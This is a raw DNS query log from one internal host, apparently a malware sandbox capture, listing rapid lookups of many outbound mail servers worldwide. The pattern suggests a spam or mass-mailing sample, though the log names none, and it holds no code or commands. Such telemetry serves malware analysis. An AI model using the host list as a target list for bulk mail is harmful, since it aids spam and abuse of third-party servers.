Jun 4, 2024 23:10:37.205310106 CEST	192.168.2.11	1.1.1.1	0x8d	Standard query (0)	mail.sad55.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.206149101 CEST	192.168.2.11	1.1.1.1	0x192d	Standard query (0)	secure.stagingdev.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.332622051 CEST	192.168.2.11	1.1.1.1	0x521c	Standard query (0)	securesmtp.inteligenceit.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.332669020 CEST	192.168.2.11	1.1.1.1	0x2b6a	Standard query (0)	out.cetren.cn	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.333045959 CEST	192.168.2.11	1.1.1.1	0xd62a	Standard query (0)	securesmtp.5agvmhwlsi.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.487150908 CEST	192.168.2.11	1.1.1.1	0x9b14	Standard query (0)	out.immigrationoptions.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.615943909 CEST	192.168.2.11	1.1.1.1	0x8d4a	Standard query (0)	aap.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.740416050 CEST	192.168.2.11	1.1.1.1	0xe73	Standard query (0)	out.pop.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:37.868434906 CEST	192.168.2.11	1.1.1.1	0x9636	Standard query (0)	mta1.youcan.shop	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.002619982 CEST	192.168.2.11	1.1.1.1	0xfb09	Standard query (0)	smtp.xtf.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.120541096 CEST	192.168.2.11	1.1.1.1	0x9bd8	Standard query (0)	bellnet.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.246530056 CEST	192.168.2.11	1.1.1.1	0x8ec5	Standard query (0)	smtp.aijnsa.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.376111984 CEST	192.168.2.11	1.1.1.1	0x5ad	Standard query (0)	cluster9.us.messagelabs.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.376616955 CEST	192.168.2.11	1.1.1.1	0xecce	Standard query (0)	mail.probac.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.505697966 CEST	192.168.2.11	1.1.1.1	0xfac2	Standard query (0)	smtp.email.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.634666920 CEST	192.168.2.11	1.1.1.1	0x3ec8	Standard query (0)	securesmtp.upfront.net.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.636420012 CEST	192.168.2.11	1.1.1.1	0x33ec	Standard query (0)	travelox-co-uk.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.636420012 CEST	192.168.2.11	1.1.1.1	0x11f0	Standard query (0)	securesmtp.florintree.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.781199932 CEST	192.168.2.11	1.1.1.1	0x6964	Standard query (0)	securesmtp.vega.ocn.ne.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.921271086 CEST	192.168.2.11	1.1.1.1	0x91bc	Standard query (0)	wing2.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.921351910 CEST	192.168.2.11	1.1.1.1	0x3a2a	Standard query (0)	smtp.pkgassociates.in	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:38.921593904 CEST	192.168.2.11	1.1.1.1	0x3797	Standard query (0)	out.10834588ad.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.302366018 CEST	192.168.2.11	1.1.1.1	0x56f6	Standard query (0)	secure.callplus.tn	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.342252970 CEST	192.168.2.11	1.1.1.1	0x9ff6	Standard query (0)	mx1.telecable.es	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.344346046 CEST	192.168.2.11	1.1.1.1	0xbd98	Standard query (0)	smtp.timeout.es	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.384793043 CEST	192.168.2.11	1.1.1.1	0xecce	Standard query (0)	mail.probac.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.475541115 CEST	192.168.2.11	1.1.1.1	0xff27	Standard query (0)	secure.pilarsaenz.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.475589991 CEST	192.168.2.11	1.1.1.1	0x2c6e	Standard query (0)	smtp.planarte.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.476897955 CEST	192.168.2.11	1.1.1.1	0xd754	Standard query (0)	mx1.pub.mailpod11-cph3.one.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.600199938 CEST	192.168.2.11	1.1.1.1	0x5ea4	Standard query (0)	cepl.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.602109909 CEST	192.168.2.11	1.1.1.1	0x86f1	Standard query (0)	marketplace.amazon.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.741239071 CEST	192.168.2.11	1.1.1.1	0xd472	Standard query (0)	aspmx4.googlemail.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.741950035 CEST	192.168.2.11	1.1.1.1	0x481e	Standard query (0)	i.softbank.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.877415895 CEST	192.168.2.11	1.1.1.1	0x5be5	Standard query (0)	mullenloweblu-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.878227949 CEST	192.168.2.11	1.1.1.1	0x6f7b	Standard query (0)	sympatico.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:39.878227949 CEST	192.168.2.11	1.1.1.1	0x9923	Standard query (0)	secure.student.zatlanka.cz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.042788029 CEST	192.168.2.11	1.1.1.1	0x560	Standard query (0)	keuken.be	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.043148041 CEST	192.168.2.11	1.1.1.1	0xe753	Standard query (0)	securesmtp.irishredheads.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.043740988 CEST	192.168.2.11	1.1.1.1	0xe53c	Standard query (0)	mx-vip-01.kinghost.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.308012962 CEST	192.168.2.11	1.1.1.1	0x454c	Standard query (0)	minex.com.co	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.308834076 CEST	192.168.2.11	1.1.1.1	0x1faf	Standard query (0)	secure.promotherme.ma	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.427232027 CEST	192.168.2.11	1.1.1.1	0x2c74	Standard query (0)	mta2.spin.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.427304983 CEST	192.168.2.11	1.1.1.1	0x585c	Standard query (0)	com.lenovo.serviceit	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.427881956 CEST	192.168.2.11	1.1.1.1	0xe5ad	Standard query (0)	secure.pistor-meisel.d	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.476263046 CEST	192.168.2.11	1.1.1.1	0x2c6e	Standard query (0)	smtp.planarte.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.551862001 CEST	192.168.2.11	1.1.1.1	0x9709	Standard query (0)	pep4teens.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.688637018 CEST	192.168.2.11	1.1.1.1	0xf659	Standard query (0)	mail.afgsolucoes.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.688972950 CEST	192.168.2.11	1.1.1.1	0x39d8	Standard query (0)	telkomsa.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:40.689259052 CEST	192.168.2.11	1.1.1.1	0xd036	Standard query (0)	out.4ls.co.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.547435045 CEST	192.168.2.11	1.1.1.1	0x1ddd	Standard query (0)	education.nsw.gov.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.547935009 CEST	192.168.2.11	1.1.1.1	0x9192	Standard query (0)	wasfahan.com.eg	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.552584887 CEST	192.168.2.11	1.1.1.1	0xbe99	Standard query (0)	softbank.ne.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.553682089 CEST	192.168.2.11	1.1.1.1	0x2a22	Standard query (0)	unicaup.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.554233074 CEST	192.168.2.11	1.1.1.1	0x98fe	Standard query (0)	securesmtp.presenca.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.555167913 CEST	192.168.2.11	1.1.1.1	0xadc	Standard query (0)	mx3.pub.mailpod12-cph3.one.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.555354118 CEST	192.168.2.11	1.1.1.1	0x44ff	Standard query (0)	mail.clan-usp.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.555701017 CEST	192.168.2.11	1.1.1.1	0x8bc9	Standard query (0)	smtp.secureserver.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.555852890 CEST	192.168.2.11	1.1.1.1	0x9329	Standard query (0)	telefonica.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.556605101 CEST	192.168.2.11	1.1.1.1	0x4152	Standard query (0)	mx-vip-01.uni5.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.556756020 CEST	192.168.2.11	1.1.1.1	0xc34f	Standard query (0)	out.dviodigital.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.557208061 CEST	192.168.2.11	1.1.1.1	0x330c	Standard query (0)	capytech.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.557706118 CEST	192.168.2.11	1.1.1.1	0x3907	Standard query (0)	amarin.co.th	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.557864904 CEST	192.168.2.11	1.1.1.1	0x8ad6	Standard query (0)	centralmedia.com.mx	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.558159113 CEST	192.168.2.11	1.1.1.1	0xb69f	Standard query (0)	out.dittaponzoshop.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.558299065 CEST	192.168.2.11	1.1.1.1	0x4a54	Standard query (0)	follyandjane.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.558693886 CEST	192.168.2.11	1.1.1.1	0xdb17	Standard query (0)	smtp.rbc.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.558860064 CEST	192.168.2.11	1.1.1.1	0x5876	Standard query (0)	smtp.belrin.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.559283018 CEST	192.168.2.11	1.1.1.1	0x6ba6	Standard query (0)	mail.geopec.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.559464931 CEST	192.168.2.11	1.1.1.1	0x717e	Standard query (0)	ops.dti.ne.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.559660912 CEST	192.168.2.11	1.1.1.1	0xd65f	Standard query (0)	guruku.id	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.559932947 CEST	192.168.2.11	1.1.1.1	0x296b	Standard query (0)	softage.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.560131073 CEST	192.168.2.11	1.1.1.1	0x1a11	Standard query (0)	secure.confiancenegocios.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.560740948 CEST	192.168.2.11	1.1.1.1	0xbe21	Standard query (0)	mxbiz1.qq.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.560977936 CEST	192.168.2.11	1.1.1.1	0xa567	Standard query (0)	securesmtp.bbt11.com.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.561199903 CEST	192.168.2.11	1.1.1.1	0x22b2	Standard query (0)	smtp.wyndcliff.f9.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.561590910 CEST	192.168.2.11	1.1.1.1	0xdd7b	Standard query (0)	mail.timboeh.me	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.562063932 CEST	192.168.2.11	1.1.1.1	0x9f19	Standard query (0)	smtp.consultive.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.562210083 CEST	192.168.2.11	1.1.1.1	0x6424	Standard query (0)	secure.mogaha.go.kr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.562475920 CEST	192.168.2.11	1.1.1.1	0x3dc5	Standard query (0)	moraistales.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.562927008 CEST	192.168.2.11	1.1.1.1	0x3752	Standard query (0)	mail.i9tell.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.563430071 CEST	192.168.2.11	1.1.1.1	0xd8	Standard query (0)	smtp.sulmetais.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.563733101 CEST	192.168.2.11	1.1.1.1	0x897e	Standard query (0)	out.pretlist.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.564033985 CEST	192.168.2.11	1.1.1.1	0x812b	Standard query (0)	lcb.com.tr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.564210892 CEST	192.168.2.11	1.1.1.1	0x539e	Standard query (0)	smtp.coliseudecor.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.564778090 CEST	192.168.2.11	1.1.1.1	0xcaa3	Standard query (0)	gufihyv.wolomin.pl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.565248966 CEST	192.168.2.11	1.1.1.1	0xc329	Standard query (0)	vodafone.it	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.566025019 CEST	192.168.2.11	1.1.1.1	0x4fb7	Standard query (0)	ybb.ne.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.566278934 CEST	192.168.2.11	1.1.1.1	0xd7e0	Standard query (0)	mail.fsoft.com.vn	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.566731930 CEST	192.168.2.11	1.1.1.1	0x268b	Standard query (0)	smtp.72d93a2bb1.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.566879034 CEST	192.168.2.11	1.1.1.1	0xd033	Standard query (0)	smtp.mv-hallstadt.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.568027973 CEST	192.168.2.11	1.1.1.1	0x8391	Standard query (0)	smtp.meaccounting.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.568315029 CEST	192.168.2.11	1.1.1.1	0x4c5d	Standard query (0)	thefindmachine.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.572499037 CEST	192.168.2.11	1.1.1.1	0xc0ff	Standard query (0)	smtp.thejcafe.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.678329945 CEST	192.168.2.11	1.1.1.1	0xe707	Standard query (0)	mail.struzyna.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.679384947 CEST	192.168.2.11	1.1.1.1	0x9cd2	Standard query (0)	mail.the-blair.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.763241053 CEST	192.168.2.11	1.1.1.1	0x8aa	Standard query (0)	usp.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.764092922 CEST	192.168.2.11	1.1.1.1	0xeee3	Standard query (0)	marketplace.amazon.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.909708023 CEST	192.168.2.11	1.1.1.1	0x8295	Standard query (0)	mail-ebc.plebicom.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:44.910120964 CEST	192.168.2.11	1.1.1.1	0x477d	Standard query (0)	chiphospitality.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.249392033 CEST	192.168.2.11	1.1.1.1	0x1fcd	Standard query (0)	route1.mx.cloudflare.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.250483036 CEST	192.168.2.11	1.1.1.1	0x5606	Standard query (0)	ufpr.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.251183033 CEST	192.168.2.11	1.1.1.1	0x9847	Standard query (0)	mail.ontariosewingautomation.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.343223095 CEST	192.168.2.11	1.1.1.1	0x66e	Standard query (0)	secure.perfee.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.468847036 CEST	192.168.2.11	1.1.1.1	0x68bb	Standard query (0)	smtp-01.tld.t-online.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.539005995 CEST	192.168.2.11	1.1.1.1	0x1ddd	Standard query (0)	education.nsw.gov.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.556971073 CEST	192.168.2.11	1.1.1.1	0x9f19	Standard query (0)	smtp.consultive.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.557252884 CEST	192.168.2.11	1.1.1.1	0xa567	Standard query (0)	securesmtp.bbt11.com.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.596437931 CEST	192.168.2.11	1.1.1.1	0x709a	Standard query (0)	secure.jeiv.burned-out.nl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.597398043 CEST	192.168.2.11	1.1.1.1	0x2df	Standard query (0)	secure.mitsui-mining.co.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.723586082 CEST	192.168.2.11	1.1.1.1	0x72f2	Standard query (0)	securesmtp.o-k.es	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.871386051 CEST	192.168.2.11	1.1.1.1	0xe0c7	Standard query (0)	amber.plala.or.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.982208967 CEST	192.168.2.11	1.1.1.1	0x7b95	Standard query (0)	mail.cevdata.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:45.983191967 CEST	192.168.2.11	1.1.1.1	0xccf5	Standard query (0)	cegetel.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.124519110 CEST	192.168.2.11	1.1.1.1	0xd8f2	Standard query (0)	mail.santarosa.rs.gov.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.125004053 CEST	192.168.2.11	1.1.1.1	0xcd97	Standard query (0)	mail.edina.k12.mn.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.256695032 CEST	192.168.2.11	1.1.1.1	0x5589	Standard query (0)	airlog.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.257709980 CEST	192.168.2.11	1.1.1.1	0xd7bb	Standard query (0)	securesmtp.sprenzi.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.399594069 CEST	192.168.2.11	1.1.1.1	0x45dc	Standard query (0)	pgrb.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.531878948 CEST	192.168.2.11	1.1.1.1	0xea1f	Standard query (0)	smtp.k9.dion.ne.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.532382011 CEST	192.168.2.11	1.1.1.1	0xbe4b	Standard query (0)	out.rhrk.unil-kl.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.697781086 CEST	192.168.2.11	1.1.1.1	0x646c	Standard query (0)	mail.clinicabicentenario.cl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.698343992 CEST	192.168.2.11	1.1.1.1	0x355f	Standard query (0)	mail.nationwide.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.698848009 CEST	192.168.2.11	1.1.1.1	0xa99a	Standard query (0)	smtp.ephar.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.827305079 CEST	192.168.2.11	1.1.1.1	0x7f16	Standard query (0)	out.prodasva.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.827591896 CEST	192.168.2.11	1.1.1.1	0x6e1a	Standard query (0)	mxb.mailgun.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.947284937 CEST	192.168.2.11	1.1.1.1	0x90a1	Standard query (0)	fsmail.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:46.952740908 CEST	192.168.2.11	1.1.1.1	0x9e34	Standard query (0)	smtp.siso.ch	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.083189964 CEST	192.168.2.11	1.1.1.1	0xea98	Standard query (0)	duna.by	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.083411932 CEST	192.168.2.11	1.1.1.1	0x8b43	Standard query (0)	mxlb.ispgateway.de	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.121437073 CEST	192.168.2.11	1.1.1.1	0xd8f2	Standard query (0)	mail.santarosa.rs.gov.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.230782032 CEST	192.168.2.11	1.1.1.1	0xdc4f	Standard query (0)	secure.lion.ocn.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.231328964 CEST	192.168.2.11	1.1.1.1	0x365f	Standard query (0)	mxb.eu.mailgun.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.393460989 CEST	192.168.2.11	1.1.1.1	0xc0a5	Standard query (0)	securesmtp.yfscorp.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.393723965 CEST	192.168.2.11	1.1.1.1	0x785a	Standard query (0)	i.softbank.jp	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.393943071 CEST	192.168.2.11	1.1.1.1	0x543b	Standard query (0)	smtp.hyani.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.521152020 CEST	192.168.2.11	1.1.1.1	0xe161	Standard query (0)	lestrat.nom.fr	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.521409035 CEST	192.168.2.11	1.1.1.1	0x1a50	Standard query (0)	shfiec.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.649733067 CEST	192.168.2.11	1.1.1.1	0x833f	Standard query (0)	mail.dk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.698230982 CEST	192.168.2.11	1.1.1.1	0xa99a	Standard query (0)	smtp.ephar.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.796124935 CEST	192.168.2.11	1.1.1.1	0xaa54	Standard query (0)	securesmtp.boxbg.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.796664953 CEST	192.168.2.11	1.1.1.1	0xe0cd	Standard query (0)	secure.penggilingan.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.939275980 CEST	192.168.2.11	1.1.1.1	0x528c	Standard query (0)	mail.rwps.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:47.939572096 CEST	192.168.2.11	1.1.1.1	0x33fc	Standard query (0)	smtp.netzero.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.073133945 CEST	192.168.2.11	1.1.1.1	0x98b3	Standard query (0)	secure.cohers.pw	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.073831081 CEST	192.168.2.11	1.1.1.1	0xe33a	Standard query (0)	out.thejcafe.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.093848944 CEST	192.168.2.11	1.1.1.1	0xea98	Standard query (0)	duna.by	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.338548899 CEST	192.168.2.11	1.1.1.1	0x9333	Standard query (0)	securesmtp.alitcomercial.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.492733002 CEST	192.168.2.11	1.1.1.1	0x2fb5	Standard query (0)	out.toplantec.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.745789051 CEST	192.168.2.11	1.1.1.1	0x6dd5	Standard query (0)	cricketandjamie.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.746304989 CEST	192.168.2.11	1.1.1.1	0x41f2	Standard query (0)	smtp.timezoneit.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.747431993 CEST	192.168.2.11	1.1.1.1	0xed18	Standard query (0)	com.directassurance.service.auto	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.905080080 CEST	192.168.2.11	1.1.1.1	0xc373	Standard query (0)	smtp.cs-centar.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:48.906663895 CEST	192.168.2.11	1.1.1.1	0xbdd	Standard query (0)	secure.welshtechnologies.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.070705891 CEST	192.168.2.11	1.1.1.1	0x7e78	Standard query (0)	dodo.com.au	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.071198940 CEST	192.168.2.11	1.1.1.1	0xbbc7	Standard query (0)	secure.fernandapaiva.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.101751089 CEST	192.168.2.11	1.1.1.1	0xea98	Standard query (0)	duna.by	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.193274975 CEST	192.168.2.11	1.1.1.1	0x222e	Standard query (0)	murialdo.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.194281101 CEST	192.168.2.11	1.1.1.1	0x3d9e	Standard query (0)	secure.arthurlodge.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.327866077 CEST	192.168.2.11	1.1.1.1	0x5f32	Standard query (0)	securesmtp.jhope.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.328437090 CEST	192.168.2.11	1.1.1.1	0x7d3d	Standard query (0)	smtp.kamidebuffet.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.469377995 CEST	192.168.2.11	1.1.1.1	0x15e5	Standard query (0)	secure.mazmardigan.es	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.469609976 CEST	192.168.2.11	1.1.1.1	0xb3d9	Standard query (0)	mail.wietz.nl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.588721037 CEST	192.168.2.11	1.1.1.1	0x86b6	Standard query (0)	secure.pr-trust.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.739478111 CEST	192.168.2.11	1.1.1.1	0xf263	Standard query (0)	securesmtp.fastek.pl	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.740497112 CEST	192.168.2.11	1.1.1.1	0x67f7	Standard query (0)	fortesul.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.740986109 CEST	192.168.2.11	1.1.1.1	0xfc59	Standard query (0)	smtp.swissonline.ch	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.881510019 CEST	192.168.2.11	1.1.1.1	0xaa5	Standard query (0)	arnet.com.ar	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:49.882985115 CEST	192.168.2.11	1.1.1.1	0x6bbe	Standard query (0)	botfed.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:50.046336889 CEST	192.168.2.11	1.1.1.1	0xaa2e	Standard query (0)	out.ntlworld.co.uk	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:50.183203936 CEST	192.168.2.11	1.1.1.1	0xba29	Standard query (0)	smtp.geoinfotech.wajis.com.ng	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:50.183437109 CEST	192.168.2.11	1.1.1.1	0x18ea	Standard query (0)	smtp.me.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:50.742022991 CEST	192.168.2.11	1.1.1.1	0x67f7	Standard query (0)	fortesul.com.br	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.202661037 CEST	192.168.2.11	1.1.1.1	0x18ea	Standard query (0)	smtp.me.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.202943087 CEST	192.168.2.11	1.1.1.1	0xba29	Standard query (0)	smtp.geoinfotech.wajis.com.ng	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.240284920 CEST	192.168.2.11	1.1.1.1	0x448d	Standard query (0)	secure.kyokuyo-sekkei.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.243720055 CEST	192.168.2.11	1.1.1.1	0x5ecf	Standard query (0)	gwebiogas-co-uk.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.247009039 CEST	192.168.2.11	1.1.1.1	0xd72b	Standard query (0)	tut.by	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.254492998 CEST	192.168.2.11	1.1.1.1	0x40e8	Standard query (0)	out.brtph632.bnr.ca	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:10:51.256046057 CEST	192.168.2.11	1.1.1.1	0x50b4	Standard query (0)	mail.sightx.com	A (IP address)	IN (0x0001)	false
